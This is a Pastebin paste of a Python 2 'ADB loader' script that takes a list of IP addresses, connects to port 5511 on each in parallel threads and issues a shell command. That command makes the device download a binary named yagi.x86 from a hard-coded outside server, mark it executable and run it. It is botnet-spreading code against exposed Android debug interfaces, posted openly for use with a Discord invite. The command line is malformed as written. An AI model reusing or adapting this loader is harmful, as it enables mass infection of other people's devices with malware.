SHARE
TWEET

[ADB:5511 LOADER][PY]

xB4ckdoorREAL Jan 14th, 2019 195 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #JOIN MY DISCORD: https://discord.gg/5cCtMNq
  2. import sys
  3. import threading
  4. import requests
  5. import os
  6. import socket
  7. import time
  8. from Queue import *
  9. from threading import Thread
  10. #nexus zeta
  11. if len(sys.argv) < 3:
  12.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output file]")
  13.  
  14. ips = open(sys.argv[1], "r").readlines()
  15. queue = Queue()
  16. queue_count = 0
  17.  
  18. info = open(str(sys.argv[1]),'a+')
  19. output_file = sys.argv[2]
  20.  
  21. def rtek(ip):
  22.     ip = str(ip).rstrip("\n")
  23.     try:
  24.         adb = socket.socket()
  25.         adb.settimeout(5)
  26.         adb.connect((ip,5511))
  27.         os.system(":5511 shell \"cd /data/local/tmp/; wget http://104.244.76.210/bins/yagi.x86; chmod 777 *; ./yagi.x86; exit\"")
  28.         adb.close()
  29.     except Exception:
  30.         print "OFFLINE:\033[31m %s\033[37m"%(ip)
  31.         adb.close()
  32.         pass
  33.  
  34.  
  35. def main():
  36.     global queue_count
  37.     for line in ips:
  38.         line = line.strip("\r")
  39.         line = line.strip("\n")
  40.         queue_count += 1
  41.         sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  42.         sys.stdout.flush()
  43.         queue.put(line)
  44.     sys.stdout.write("\n")
  45.     i = 0
  46.     while i != queue_count:
  47.         i += 1
  48.         try:
  49.             input = queue.get()
  50.             thread = Thread(target=rtek, args=(input,))
  51.             thread.start()
  52.             time.sleep(0.1)
  53.         except KeyboardInterrupt:
  54.             os.kill(os.getpid(), 9)
  55.     thread.join()
  56.     return
  57.  
  58.  
  59. if __name__ == "__main__":
  60.     main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top